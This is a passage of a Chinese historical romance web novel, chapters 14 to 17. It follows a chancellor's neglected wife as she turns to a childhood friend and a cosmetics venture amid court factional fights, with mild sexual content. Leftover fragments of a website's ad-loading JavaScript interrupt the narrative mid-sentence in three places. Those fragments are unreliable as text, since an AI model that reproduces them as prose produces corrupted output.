又是一场白日淫欢,耿婳勉强套了件外衫,强撑着打颤的双腿下榻。 “相爷,这是妾身给您做的新靴。” 魏巍刚披衣坐起,就见她跪在他腿边忙碌。 那是一双黑色高帮白色厚底的皂靴。 魏巍面无表情,也没说话。 他最不喜欢皂靴——底子厚,走路不够轻便。熟悉他的人都知道,他只穿革靴,轻巧舒适,游猎踏青也方便。 “我从不穿皂靴。” 耿婳一双手僵住,停下动作抬头看他。这是她熬了好几个大夜才做好的鞋子,针脚歪了的地方反复拆了重做,为此指尖受了伤,目力也下滑了。 她心里涌起一阵失落,小时候见过娘亲给爹爹制靴,自诩手艺精湛,谁想还是入不了他的眼。 被他一指摘,耿婳顿时慌得语无伦次,“妾身知错了,下次妾身做好革靴再送来。” “这倒不必,你要是有心,过几日随我去趟汪家。” 这几日魏巍常与她讲些朝廷轶闻,据说汪老爷子从锁院幽禁中回府后,就一蹶不振,身体每况愈下,已然病入膏肓。 “汪老爷子他……”耿婳为这位老者鞠躬尽瘁的感伤,但更多的是为魏巍的顾虑。 他因新政改革实施出题人锁院制,无疑对汪琳的身体造成了一定损伤。如今他老人家行将就木,会不会就此影响到他和汪子元的关系。甚至还会因此落人话柄,被官场小人的诽谤构陷。 她心思细腻,思虑深远,不知不觉就锁起了眉头。 一声很轻的嗤笑传来,将她的思绪拉回现实。 “你愁什么。”魏巍问她。 “没有,妾身没愁什么。” 耿婳答应他,说有空就与他去看望病重的汪琳。可第二天一早,汪家就发出讣告,德高望重的汪老爷子在昨夜子时病疾难处,与世长辞。 计划中的探望直接变成了奔丧。 当日两人穿着素净,去汪府吊孝。白绫缠着汪府门楣,院里皆是儿童啼哭之音。汪子元一身孝服,在漫天飞舞的纸钱下凝视堂内棺木。 听到许渊唤他,白衣男子闻声回首。他静默在阶上俯视许魏二人。多日不见,他好像哪里变了,又好像哪里都没变。 人变得消瘦,看人的眼神有点陌生,气质和态度都无甚变化。见了好友,他下台迎接。 “伯琳、子深,你们来了。” “节哀。”魏巍不会说哄人的漂亮话,只在礼单上下了些心思,以作告慰。 汪子元还愿意同他谈话,此情此景让许渊塌下心来。 “吓我一跳,还以为你们闹掰了呢。” “怎么会。”汪子元笑了两下,笑意不达眼底。在魏巍看他的一瞬,将眼神撇开了。 此时,怀安公主与刘理一同来了。她回来不到一月,就和刘理走到了请期的地步。礼部为了筹备她的婚事,近些天人人忙得脚不沾地。 她也是会造势,自从宣布与刘理结亲,但凡出席场合都要和未婚驸马腻在一起。尤其的对着魏巍,更要加倍黏腻。 “许大人,魏夫人,巧了。”她走上前来,看都没看魏巍,只对耿婳和许渊打了声招呼。 随后,汪子元亲迎这位尊贵的殿下进厅,也没空和魏巍等人寒暄了。 他们走后,许渊跳脚:“这女人真是幼稚!用这种自损八百的小心思迎击,自愿嫁个瘸子,自毁前程,可笑可笑!” 魏巍没搭理他。耿婳知道他在忧虑什么。怀安不是要嫁瘸子,她是投了反对变法的势力里去,故意给她夫君添堵。 汪家的葬礼持续了七日,朝臣勋贵皆来吊孝,幽居内宅的王司空也来为老友。 去年新政初启,他就大病一场,受皇帝特许可歇息在家,不用上朝,从此远离朝野,闭门不出。与他为首的保守派已然群龙无首,这才处处受制于魏巍,在朝野斗争中处于劣势。 而今他老人家亲自出山,焚祭文哀悼同为勋贵的汪老,其中深意,不言自明。 王司空这一来一去,好像在给朝堂释放信号。以刘理为首的大批文臣纷纷参奏,检举魏巍处事不当。更有甚者将汪琳之死甩锅给他。一时间批驳魏巍的奏本趋之若鹜,反对新政的势力实打实来了一场大反扑。 为了平息闹剧,天子亲临汪府写下悼亡诗,仍不减保守派的怨念。 魏巍好像没受影响似的,仍无事闷在政事堂,为即将揭榜的科考结果做最后收官工作。 这一天耿婳来寻他时,天色已深。进屋后,没有往常沙沙的翻阅声,只闻到缕缕酒香。 魏巍一手支额,另一只手上挂着酒壶,他侧着身子宿在圈椅上,睡着了一般。 耿婳走去不敢打搅他,只在他身边坐定,支着下巴偷偷看他。他生了张完美到无可挑剔的五官,若非要鸡蛋里面挑骨头,那便是睁眼时过于严肃,有种拒人于千里之外的可怕。 至少耿婳是害怕的。 但是他现在阖目而眠,整个人安安静静的,收敛起威严 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 锋芒后,只剩俊逸斯文。论谁见了都要再细细看上几眼。 她静静看了好一会儿,他略带微醺的脸看着比平时多了几分颜色,比清冷的样子平易近人多了。 耿婳痴痴傻笑,却不料他睁开了凤眸。 “什么时候来的。” “妾身刚到。外面风言风语,妾身不放心,就来看看相爷。” 魏巍罕见没去批驳她,只又倒了一杯酒,推给她。 “陪我喝一会儿。” 耿婳迟疑了一下,也没拒绝。她最会照顾的就是自己的胃,不管什么好吃的,通通来者不拒。 一杯接着一杯下肚,她酒香醺脸,可双眸仍然明亮清醒。 酒量这么好。 她不醉,魏巍怎么可能会醉。 推杯换盏了数回,耿婳扶起他的头,“相爷醉了。” 男人凤眸眯起,里面印着她娇柔媚人的模样。魏巍一把将其抱起,就往隔扇里走。 被扔到榻上时,耿婳慌得捂住小腹。他即刻倾压而下,来扯她衣带。 “相爷……妾身、妾身来癸水了。” 解带的手一停,半醉半醒的魏巍抬头看她,“不早说。” 他又道:“那你今天还来。” 压着她的身子骤然起来,他整理衣袍径直走了。 耿婳一人愣怔在昏暗的室内,脑海里回荡着他这句冷冰冰的质问。 若是来了癸水,就不能来见他吗? 他难道每次见她,都只是为了那段时辰的纵欢? 魏巍离开了政事堂,她也没必要待在这儿了。 回了相府,耿婳一人坐在廊檐美人靠上,默默出神。 想想也是,他回回榻上激情四射,临了又冷若冰霜,留她一人捂着身子缓解。就好像物尽其用,用完就扔一般,不会给她多余的温存。 耿婳骗了自己好多次,但是这一回,他的质询好比利刃,撕掉了她自我安慰的伪装,划开了血淋淋的事实。 他只为了缓解案牍劳形才愿意与她亲热的,才没有什么郎情妾意,纸短情长。 天色渐晚,熹微姑姑静静陪她,开导她。 不一会儿,前面院里似有人影。耿婳招呼那人过来,一看是玄海。 “相爷回来了?”她不死心地问。 玄海答道:“相爷命我回来取一套文房四宝。” “他还在政事堂?”可她从政事堂出来时没看见他呀。 “相爷不在政事堂。”玄海匆匆忙忙道,“我得马上拿东西回教坊司复命……” “教坊司?”耿婳一惊。 玄海这才觉察说漏嘴。魏巍最讨厌别人泄露他的私事。 “你是说,魏巍在教坊司?”耿婳瞠目,脸色也变了。 “是……”玄海支吾着承认,被夫人的反应吓了一跳。她一向乖顺沉静,从不在人前失态。即便相爷从不热络待她,也没见她自怨自艾。可这次恐怕真伤了心。 玄海突然想解释,却见她萧然回了屋。 耿婳踉踉跄跄扑到拔步床,埋头捂脸沉思。熹微走了进来,静静搂着她,陪着她。过了一会儿,红帐里传来瓮声瓮气的抽泣声。 她这么多天以为的情.爱,只不过是他公务之余的消遣。或许对他来说,她只是个器具。 此器不能用,那就换一个。 谁都行。 15. 015 教坊司隶属礼部,是大奉朝最特别的官署,除了负责重大庆典上演奏乐曲外,也是官家的妓.院,专门为贵族官绅服务。 大奉国富民强,开放包容,市民文化应运而生,勾栏瓦舍等娱乐场所司空见惯。当官的下值来烟花柳巷寻欢作乐是稀松平常之事。 此时此刻,教坊司的烟柳水汀里,一艘画舫荡漾在月色溶溶的湖面之上。桃粉色的轻纱帷幔被晚风吹得鼓起,泄露出里面的欢声笑语。 “我乘轻舟访人间,人如江鲫逐功名。”许渊几杯酒下肚,又无病呻吟起来。 独自坐在对面的魏巍喝一杯清茶,静静看着眼前香艳画面。几位穿红着绿的教坊司姑娘簇拥着许渊,各个轻薄罗裙,半露酥.乳,极尽谄媚之态。 人人都知许渊是教坊司的大主顾。若能从他手上拿到赠诗,必将流芳文坛,千古传送。 至于魏巍,她们不是不知道他乃当朝丞相、新政一手遮天的策划者、皇帝身边的大红人。只不过这人气质冷肃,不似许渊那般平易近人,常以眼神警告她们远离,这才没人敢伺候他。 魏巍鲜少来教坊司,每次前来皆为给许渊做个陪衬。至今还没女人能近得了他身。在他眼里,这些女人长得实在太丑。 “喂,你们怎么回事儿,不知道伺候相爷?”许渊微醺着一张脸,搂着相好,使唤其他人去陪魏巍。 “相爷~” “何事。”魏巍平静看她,只当和寻常官员聊天。 他自以为平静的眼神,到了姑娘眼里却是骇人的。教坊司再风骚的美人,被他那么看上一眼也都老实了。 那神态,好像她们不是娇软女子,而是官场政敌。这谁顶得住。 许渊看他把美人吓坏了,很是心疼,啐道:“精挑细选的花魁都不知享用,真是没趣儿!” 魏巍摆了他一眼。 教坊司隶属礼部,来此地就与在官场无异。如今的礼部尚书并非新政拥趸,他自然要处处小心。 至于为什么偏要到他本就不喜欢的地界。魏巍就又瞪了许渊一眼。 大文豪爱喝酒,更爱流连秦楼楚馆。他诗才一绝,但需以风花雪月为引,才能写出好东西。 温香软玉怀里抱,许渊被哄得服服帖帖,颇有些忘乎所以。 魏巍驱散众人,命玄海取出纸笔,由他直抒胸臆。 自王司空出山,刘理成了公主驸马后,此前蛰伏的人如蛛网般。反对新政的声音便一浪高过一浪。他们不仅抨击魏巍,还要拿他的支持者开刀,首当其冲的就是许渊。 这些天,许渊不知被御史台的人检举了多少次,心里正憋着邪火。 “他们先不仁,也别怪我们不义。不就是写奏本嘛,谁不会似的!” 若论文采,整个大奉也找不出许渊的敌手。 “那就有劳兄台。”魏巍笑道。 “去你的。有事才想起我来,本大人岂是那么好请?” 魏巍知道他是嘴硬找台阶下呢,忙把一套珍藏已久的文房四宝献上。 许渊这才有所松动。 他是什么口味,魏巍最清楚不过。如果一夜教坊司搞不定,那就两夜。 耿婳一夜无眠,第二天醒来的时候枕头还没干,眼睛肿成了桃子。 熹微姑姑给她冰敷了大半天,才微微消肿。她戴好帷帽,又出门去采购。 她还没把革靴做出来呢。 即使再痛心,她也是他明媒正娶的唯一妻子,她要利用好这层身份,做好该做的,努力照顾好他,让他回心转意。 产自西域的皮革要比皂靴用的布料昂贵好多。若是魏巍穿,定要买最上乘的皮革料子。可她带的钱根本不够。 若是拿出剩余的积蓄勉勉强强够用。若买了,以后日子必须一紧再紧,只能可着府里发月钱了。 她咬了咬牙,还是买了。抱着皮革离开时,心如刀割。刚出店门,忽见一个瘦高的人影跳出来,把她吓了一跳。 “小婳婳,多年不见,别来无恙啊。” 耿婳掀起帷帽,看到了伍听肆。这是她儿时罕有的朋友,两人在耿忠的生辰宴相识,后来伍听肆常来府上找她玩。他与她同岁,五年前随父母去扬州经商,再也没回来过。 “小肆哥哥!” 伍听肆喜道:“算你良心,没忘了我。当年没白请你吃糖葫芦!” 多年不见,他高了不少,彻底长成了大人。高高的马尾披在肩上,阳光下笑容肆意,隐约间还透着股少年俊气。 耿婳记得他小时候就很爱笑,经常逗她开心。当时她被禁足在家,不得自由。伍听肆时常翻墙找她来玩,还偷偷给她带好吃的。 “小肆哥哥怎么认出我的?”耿婳笑问。 她从头到脚捂得严实,穿得十分简洁,这般不起眼的打扮,怎么会被认出来呢。 “你的背影我都记着呢,永远也忘不了。” 伍听肆一见她,眼睛都笑弯了:“天这么热,高低得请你几碗酥山!” 耿婳摇头道:“可惜婳婳已成人妻,不能同小肆哥哥吃喝了。” 伍听肆咳了一声,道:“什么人这么有福气。” 耿婳垂头敛目,什么话都没说。 若是前几日问她,她还会炫耀着说自己是丞相夫人,魏巍的枕边人。 现在,只觉得一切都是笑话。 看她脸沉下来,就知在婆家过得不好。 伍听肆回京岂会不打听昔日青梅的下落,他知晓她嫁入相府,只不过好奇她的处境,这才勾着她问话。 谁知不小心刺到了她伤心处。那双微微泛红的桃花水眸肉眼可见地蓄出泪花。 “你夫君对你不好。”伍听肆敏锐说。 耿婳云淡风轻笑了一下,“小肆哥哥怎么从扬州回来了?” 他回道:“我来洛阳探亲,顺便采购货品回去。最近生意场上遇到些破事,小肆哥哥有苦难言,大富商家的女儿帮着参谋参谋呗。” “可是……” “可什么是,白请你吃饭你还不乐意了?你要是能帮我兴隆生意,定有重金相酬。” 在他软磨硬泡的攻势下,耿婳推脱不过,只好由着他带自己去了酒楼。 她最爱饮酒。伍听肆知道这事,特意选了洛阳最好的酒楼青云楼招待她,又点了两碗酥山和她爱吃的菜,再三嘱咐小二别放辣油。 耿婳道:“小肆哥哥遇到了什么事。” 伍听肆本不想请教她生意上的事,只当个幌子哄她来陪罢了。她一刨根问底,他也没辙,只能回复:“我爹不是出海买卖茶叶丝绸嘛,他给我开了家店,让我先单干。那批茶叶意外被水浸了,看着卖相不好,我又不想贱卖。” “原来是这样……”耿婳点点头,略加思索。 “茶叶有损,但不可轻易贱卖,不然哪里去赚钱。顾客也分人。姑娘们喜欢有格调的东西,小肆哥哥可以在包装上多下功夫,找精致的容器做装饰,以此转移视线,还能提价。若是男子来买,就在故事里做文章。取个雅名唤作‘美人茶’,编些风流韵事,诓他们说这是扬州第一美人沐浴时所泡茶叶,浸肤润体用的。他们若有猎奇猎艳的心思,估计也会买单。” 她一大段话说完,伍听肆没有任何反馈。 他从落座起就一直明目张胆地盯着她看,嘴角噙着浅笑,眼神却像在神游。 耿婳朝他面前挥挥手,“想什么呢。” “我在想,婳婳不仅生得美,还冰雪聪明。难怪当初邻居家的女孩都讨厌你,还真是木秀于林风必摧之。” 耿婳脸红道:“我哪有你说得那么好,只不过随口胡诌罢了。小肆哥哥可别逗我。” “我实话实说。你这商业头脑,十个男子也不及。如此天赋异禀,怎么就不想来生意场上逛逛呢,没准儿下一个阔佬就是你了。” 耿婳被他夸得脸红。 “方才说了若能帮到我定有重谢。喏,这袋银子你先拿去花。” 耿婳接过,掂了掂。实在太多,她受用不起。 “我让你拿着你就拿着,多出来的算以后的咨询费。”伍听肆先发制人,堵了她的嘴,“我雇你当我生意顾 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 问,平时不用见面。用你的时候,就来酒楼见面。” 他哪是要雇她当伙计,只不过想接济她。又担心她自尊心强不接受,这才曲折迂回,绕来绕去。 耿婳心里感动,揪紧钱袋说:“无功不受禄。小肆哥哥的钱我不能收。” 伍听肆一点也不意外,她这人面皮薄,又有分寸,不是利益熏心之人。 还好他准备了第二计划。 “婳婳,哥这里有笔买卖想带你。我记得你家做脂粉生意,你肯定略懂一二。我提供原料,你做工艺,我再去推销,得了钱三七分账。我三你七,如何啊?” “小肆哥哥怎么又想做脂粉了?” “你不知道,扬州城里的男男女女都爱涂脂抹粉,这里边行情大着呢。有钱谁不想挣?哥哥带你一把。” 耿婳对做生意没什么兴趣,但一提到赚钱倒是稍微有点心动。主要是她现在太缺钱了。 只是…… “我一个女儿家,怎么能做买卖呢。” 伍听肆一愣,旋即哈哈大笑,就差笑出眼泪了。 “我伍听肆混迹商界多年,多爽利的女掌柜没见过。怎么偏偏你这姑娘,非要自个歧视自个儿?” “行与不行,至少要先试试再说。你又不用抛头露面,有什么好怕的。” “可我……” “你只负责制作,宣传的事儿交给我,哪儿那么多废话。”伍听肆都被她气笑了。 “你别老信女子三从四德那一套,得学着为自己考虑。知不知道?” 他本来没有发脾气,没有凶人。可耿婳委屈极了。这人的歪理和她脑里镌刻的礼教文法背道而驰。她这辈子都没听过这么忤逆的话。 当然,她不怪他叛逆,伍听肆十二岁随父出海贸易,多少沾染了些蛮夷习气。 耿婳道:“小肆哥哥真是出海做生意时间长了,怎么把家乡的规矩都忘了。大奉讲究纲常伦理,更重女德。我嫁了人,就要事事想着夫君,为他考虑。他家世显赫,我作为主母不便与生意场有干涉。” “你夫君大名我有所耳闻,据说是个不近人情一心政务的木头人!”伍听肆觉得她简直无可救药。 “你可考虑清楚。赚钱的机会,我可是先想着你的。”伍听肆这下比她刚才还委屈,直言道:“不敢往前迈,永远都看不到外边的风景。你只尝试一次,就不会这么畏手畏脚了!” 耿婳只好道:“容我再想想。” 多大点事,她就一筹莫展。 伍听肆心里一软,轻声道:“有什么烦心事直接说,哥哥在呢。” 几日后,杏榜放榜,寒门举人大放异彩。官绅子弟多有名落孙山者,唯独汪昊女婿王粲榜上有名。 许渊松了口气,“还好他中了,不然也不知怎么同子元说。” 魏巍立刻道:“说什么?他是凭本事中进士,与旁人无关。就算没中,我也无须给子元交代什么。” 许渊:“……”这人还真是一点也不可爱。 “你那篇文章还差多少。” “别催,还需润色一二。此文一出,必叫刘理之流好看。这几天他们甚是嚣张,还联合上奏,倒打一耙。诬陷汪老亡故是对新政的反抗。火药不发威,当我是锅底灰!” 许渊在教坊司洋洋洒洒写下奇文,名曰《百官升迁录》,其中深刻揭露了官员任免贬黜的详细,何人凭本事,何人靠裙带,文笔华丽,引经据典却又基于事实,对吏部弊政进行了深刻剖析。 作为吏部尚书的刘颖被他驳斥得狗血淋头。此文一出,瞬间引得朝堂纷争肆起。 加之新政革新下的春闱多是寒门子弟拔得头筹,一时间将反对势力批了个彻底。杏榜就像无形的巨手,无情地扯开官宦权贵的遮羞布。 一时间,朝廷上两派互相批斗的奏本堆积成山。 年轻的永安帝当然乐见其成。自登基后,为打压前朝势力,培养自身人马,他可没少花心思。新政势必是场改革派和保守党之间的拉锯战。 无论谁输谁赢,他都是那个布局的赢家。 16. 016 回府后,耿婳想了很久。 她屏退了阿沁和青烟,只留熹微一人在内室。 “姑姑,我想同你商量一事……” 出乎她的意料,熹微反倒很支持。当年她随林如烟在教坊时,就曾忙里偷闲制作脂粉唇膏拿去卖钱。 “可惜娘亲去得早,我没来得及继承衣钵。姑姑可还记得娘亲的配方?” 工艺技术写成的书册已经被耿忠据为己有,熹微常年跟着林氏,制作工艺她尚且有些印象,正好把林氏的心血传给耿婳。 耿婳当然想学习母亲留下的手艺。只是对做生意的事仍有疑虑。 伍听肆的好意耿婳当然知道,她不是不领情,只是……总要顾虑魏巍的感受。 要是他知道她背地里偷偷与外男做小生意,会不会生气? 魏巍是她夫君,是以后一生的仰仗,更是她自豆蔻年华就念念不完的人。她必须顾及他的体面。 罢了,先给他把鞋子做好再说。夜里,她就在昏黄的灯烛下打起了鞋底。自从上次做完皂靴,她的目力已大不如前。 第二日她顶着昏昏沉沉的头脑去给杨氏请安。 这些天,魏徵的病情又重了,杨氏心力交瘁,怨气正没出发泄。 “这几日你夫君情形如何,你可知道。”她问。 耿婳混沌摇头。 杨氏撇撇嘴,开始训话:“天天也不知道你忙些什么,连夫君都留不住。有些不中听的话我也不想老说。你怎么每次都不记心,非要让人上火!” 耿婳在下首跪得有些不舒服,低头强忍着她的唠叨,险些睡过去。 杨氏两张浅薄的嘴皮一张一合,巴拉巴拉说个没完没了,丝毫不像个书香门第走出的千金小姐。许是年轻时搞老少恋被魏徵宠坏了,一看自己老头子要死,没了靠山就心态失衡。 不知过了多久,她消了气,耿婳才福身告辞。 看着她萧瑟的背影,杨氏重重叹了口气。 柳惜君赶忙上前安抚,“母亲何必置气,身子可是自己的,要当心。” “她要是能生个一子半女还好,这都多少天了也不见有动静。我表妹家的媳妇过门不到半月就有了。偏她是个不下蛋的鸡。” 另一边,耿婳回了自己屋里继续做鞋。 革靴比她想象中还难,一熬就要熬到深更半夜,眼睛又酸又涩,头也疼得不行。 熹微默默叹息,这股儿不撞南墙不回头的倔强劲儿,怎么就和林氏当年一模一样呢。 可除了点灯熬油陪伴,她再也做不了什么。 直到癸水彻底消失,她都没出过相府。这些天,她不去政事堂,那边也没有任何消息传给他。 不论魏巍还是玄海,都已经数日不进府门了。 他不来,耿婳不去,婆婆每日都要怪罪埋怨。一来二去房里的仆从又都成了墙头草。青烟和阿沁又怠慢起来。 杏榜早就放了,或许他又开始忙别的事了?但愿如此吧。她不知道,也不清楚,有时候看着制成的革靴,就会睹物思人,难受得喘不过气。 熹微实在看不下去,也常劝她放宽心,别老惦念那个没情意的人。 “相爷那么忙,顾不上的有得是,不差我一个。”每每说完,耿婳总要刻意挤出一丝笑,使劲把眼泪憋回去。 熹微叹了口气,没再多说。 女孩啊,一旦沾染情爱,都不用男人骗,自己就会骗自己了。 耿婳迟迟没给伍听肆答复。 过了一旬,他就收到了伍听肆的信——他约她出去吃鱼。 虽然知道他醉翁之意不在酒,但出于美食的诱惑,她还是赴约了。 酒楼的雅间里,两人于案前相对而坐。伍听肆点了一桌子鱼菜,特意照顾她的口味做得清淡。 “来,我知道你最爱喝酒。还记得不,小时候我带你翻墙溜出家,偷偷喝大人们不让喝的烈酒。我半杯倒,你竟然喝了一壶……” 伍听肆津津有味回忆年少时的趣事,他只喜欢讲他们两个过去的事,似乎在躲避着她现在的丞相夫人的身份。 “你眯眼看我干嘛?莫不是制粉把眼熬坏了?” 耿婳整日做针线活,目力已经下降了。若不眯眼,有点看不清他。 可伍听肆哪知道这些,一想到她已嫁人,瞬间明白了。 “哦,也是,晚上你夫君得回来。”他摸摸鼻子,尴尬一笑。 耿婳摇头轻声,“他从不回来。” “嗯?” 伍听肆挑眉又问,“你们……不睦?” 耿婳指尖捏紧杯壁,许久叹了口气,坦然道:“其实,丞相他不喜欢我。” 虽然心里默默知道这个事实,可同别人说起时,强烈的酸涩直涌到鼻尖,眼睛一下就红了。 伍听肆一怔,许久才说:“他瞎吗?” “放着大美女不喜欢,他喜欢什么?有眼无珠的东西!” 耿婳什么也不想说,不知道为什么自从那天被轰出政事堂后,她本能地不想再见到魏巍,也不想再提及他、回忆他。 每天给他做革靴的时候,总会睹物思人,难受好一阵。可惜身在内院,连个发泄口都没有,心里不管再难过,也都必须把眼泪往肚子里咽。 她比上回见面时消瘦了不少,伍听肆忙问:“到底怎么回事儿。” 耿婳不答,微微摇头,眼泪啪嗒坠落到酒杯里。 “哥哥还能害你不成。别老把事憋在心里,说出来不好受点儿?” 耿婳犹豫了一会儿,红着脸把事情委婉告诉他。她倾诉完,莫名好受了些。 伍听肆切齿道:“你身子不适他就不愿见你。一见你就只知道……呸,老男人真他娘恶心。” 耿婳垂头道:“其实他也有理。那么大的官,要操心的事有很多,估计是太累了想要纾解。我做妻子的应该体谅他……” 伍听肆被气笑了。他笑着打断她:“傻丫头,男人最了解男人,依我看他八成拿你当个泄.欲工具。等把你玩腻了,就该去找别人了。哦不,当官的都是直接去教坊司解决。” 这话无疑戳中了耿婳的痛点。 这是她一直不愿意接受的事实。现在却被伍听肆轻而易举点破,打了她个措手不及。 她尴尬红了脸。从一开始,魏巍就没喜欢过她。只是她傻,甘愿以身体为筹码,卑微乞求他更多的爱。 豆大的泪水像断了线的珍珠,汩汩从眼眶里滑落。她两眼通红,哭得无声无息。 哭都哭得这么好看…… 伍听肆眼一沉,托腮观赏了好一会儿,才想起来哄人。 “你还为他哭?他是个什么东西,哪里配啊。” 耿婳摸着胸口,努力平复呼吸,柔声道:“可是,可是我心里真的真的真的好难受呀。”这种不开心的情绪憋闷了好久,一直压得她喘不过气。 她以为哭完会好一点儿,可是魏巍好像住她脑袋里,一想到他就会头疼眼胀,心绪烦乱。 “小肆哥哥,其实我一直不明白。为什么人活着会这么痛苦。” “那我要先问你,你觉得自己活着最缺什么啊?” 她最缺少什么? 关心、爱、或者尊重…… 这些虚无缥缈的东西,顶多算个心魔,看不见也摸不着,她从未得到过,更不害怕缺失。她没有因为缺少这些而少吃一粒米,少饮一口酒。 仔细一想,要说一个人活在世上最不能缺的东西…… “哥,我缺钱。” 伍听肆双手一拍,“这不就得了嘛。钱能解决你这辈子多数烦恼,剩下的也能靠钱缓解。有空寻思自己为啥痛苦,不如好好想想怎么发财。” “你看我,为啥每天乐乐呵呵的?”他拍拍腰间鼓鼓的钱囊,道:“还不是有自由的赎身券嘛。” “做个俗人吧婳婳,少为别人着想,多顾及自己,你的日子会比原来快活很多。” “记住了吗?”伍听肆指节叩了叩桌面,“你只需要为自己活着。其、余、什、么、都、别、想。” “为自己活着……”耿婳重复着他的话,漆黑的瞳仁生出几缕光亮,可旋即又暗下去。 她又道:“谁不想啊。” 可她总是背负着太多。 童年在母亲眼泪灌输下活着,成为了她所期许的乖乖女。 再大一些,她被领到了严苛的杜氏那边,逼着受戒学礼。 及笄后彻底没了自由,成了父亲待价而沽的商品。 最后,她在家族利益的逼迫下,于青云楼和一个高高在上的大人物滚榻。 她这一生,活得就像个傀儡。 讽刺的是,她还曾经默默祈祷着婚姻的到来,以为这样就能得到解脱。 可等她真逃出耿家后,才发现自己又到了另一个牢笼。她阴差阳错嫁给了暗恋已久的人,天真的以为他能救她,可实际只是坠入了巨大的深渊。 娘亲没有等来父亲的回心转意,她也 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 没有在魏巍这里得到应有的爱恋和尊重。 她喜欢着魏巍,就像抱着一株仙人掌。喜欢得越深,刺得越疼。 她每一步都小心翼翼,如履薄冰,可最后仍像个行尸走肉一样活着,背负着那些原本不该属于她的重担。 她在为别人负重前行,却没有得到他们一丝回馈和答谢。 凭什么。 耿婳倏地发现。这十七年来,她好像一直活在别人的审视下,从来没有真正为自己考虑过。 为自己活着……多么有诱人的字眼。 这几个字可以轻易脱口,却难以实现。 “别怕,婳婳。”伍听肆笑道,“你只要大胆迈出一步,之后就会如履平地。” 耿婳目光清亮,闪烁着一双水眸,认真问:“真的吗,小肆哥哥。” 斜阳里,伍听肆一杯酒下肚,笑得爽朗肆意:“试试不就知道。” 那天从酒楼出来,耿婳的步子轻快了许多。 自那以后,耿婳开始白天忙着跟熹微姑姑研究制粉炼膏,夜里加班加点为魏巍做针线活。 时间长了,实在熬不住,她就把做鞋的时间压缩了些。 偶尔一次,她累得倒头就睡,忘了给他做针线活。 有第一次,就自然会有第二次。 再后来,耿婳晚上也开始学做胭脂了。 偶然间看到被她遗忘在角落的鞋样和皮革,心也跟着被刺了一下。熹微姑姑心细,赶忙把这些碍事的东西收走了。 后来的很长时间里,她将注意力全部凝聚在制粉上。一来二去,想起魏巍的时辰少了许多。偶尔听下人议论起相爷,耿婳心里平静了许多,不再为他伤心难过,忑忑不安。 她的心思只受自己控制。她喜欢这种心安的感觉。 即使每日去杨氏那里请安,被督促着开枝散叶她也浑不在意。 自从不再介意魏家人的态度后,她的灵魂总算自由了。 政事堂内,枯寂的油灯将男子清冷的脸照出几分落寞。 许渊一篇表文洋洋洒洒写明了朝廷官员复杂的裙带关系,这是公然对保守派宣战的请示书,引得保守派纷纷跳脚,朝堂不得安宁。 魏巍一手支案,一手写字。忙完繁琐的科考,依然不得清闲。 朝堂上的争斗,他并非熟视无睹。 守旧派在反咬,皇帝隔岸观火,他从中求全,只有三方势力均衡时,皇帝才能安心,他才能护住新政。 一切都安排得明明白白。 若说有什么不在他掌控中的事,那就是——他的夫人很久没来看他了。 耿婳缩在自己怀里娇羞妩媚的模样于眼前一闪而过。 因为癸水,她害他旷得了许久。不知不觉,和她翻云覆雨的情景再一次浮现于脑海。 他控制着不去想,香艳的画面却又再次入眼。 心不宁,落笔不稳,豆大的墨汁又撒在了尚未书写好的纸张上。 他压着心中烦躁,撕下重写。 女人的月事几天才能消? 他并不清楚。 玄海帮他磨墨,他常年跟着魏巍,耳濡目染,字识得很全。他看着魏巍落笔,不由皱眉,这一晚上出的错有点多了。 魏巍埋头认真,他用特殊手段从大理寺里取来刘理负责的卷宗,试图从中找出纰漏。 “把文稿交给许大人。” “相爷,您好像弄错了。” “这上面写的是耿大人。” “哪里有耿大人。” 魏巍定睛细看,他把“许渊”写成了“耿婳”。 “相爷天天闷在此处,当心伤着眼睛。要真是累了,不如回府里歇歇。”玄海这么说也是有私心的,魏巍要是身体熬坏了,太太又要拿他问责。 “相爷心里惦记,不如回去看看夫人。” “惦记什么。”魏巍突然扭头看他。 玄海吓得愣住,回道:“夫、夫人啊。” 魏巍又问:“她是你夫人?” 玄海被盯得汗毛直立,这才知道自己踩了雷,立刻不敢吭声了。 “嘶”得一声,魏巍撤掉了这页纸,重新写。再次写完,检查一番后,递给玄海,“去,交给耿婳。” 玄海怔忪:“啊?” 魏巍不满道:“没听到吗,让你交给……”他顿了顿,眯眼问,“我刚刚说的谁?” “您、您说的是……夫人的名讳。” 魏巍:“……” 17. 017 夜半三更,耿婳的屋里灯火通明。 夏夜闷热,内室燃着驱蚊香,包裹的红帐里的楚楚佳人。 耿婳盘腿坐在床上,对着小案细心做粉。 长期一人霸占着宽敞的拔步床,她干脆把所有能用到的家伙什儿放了上来。 内室传来较轻的脚步声,耿婳忙着手边的活儿,也没抬头。 她俏声道:“姑姑还没睡呀?” 对方未答。 红帐被掀开一角,对面人坐上来,高大的黑影瞬间笼罩住她。 耿婳手一顿,抬眼看见了魏巍。吃惊了一小会儿,她就缓了过来。 这里是他家,他想回来就回来,想几时回来就几时回来,岂容她置喙。 或者,在某种程度上讲,她都属于他的私人物品。 “相爷。”她礼貌地跟他打招呼。看他没什么反应,她自然垂下眼,继续摆弄手边的活儿。 她穿一件薄可透肉的纱裙,锁骨清晰可见,再往下……她没穿肚兜。视野内的春光,只可意会,不可描述。 柔顺黑发披散在一侧,顺着脖颈直至大腿,勉强盖住半边春光。 黄红相融的色调,为她皙白的皮肤镀了一层细腻的光泽。每次见她,多半都有点失神。 魏巍觉得喉咙有点干,他来时没打腹稿,现在对着她什么话也说不出来。 他这才意识到,他们每次见面,都是她先引出话题。他往往是“行”胜于言。 这次耿婳破天荒没理会他。 明明是夫妻,生疏的宛如路人。他不说话,她竟然也一句话不说。场面又尴尬起来,好像他们两个独处,就一定会尴尬。 又过了一会儿,她仍不言语。 魏巍生硬问:“在做什么。” 耿婳回道:“闲来无事,做点脂粉。” “市面上多的是,没必要自己做。” 说得轻巧,她哪里有钱。耿婳腹诽完,点头道:“相爷教训得是。” 魏巍上下打量她,问道:“身体好些了?” 耿婳手一顿,明白他的弦外之音。 果然,他只要来找她,就不会有别的事儿。 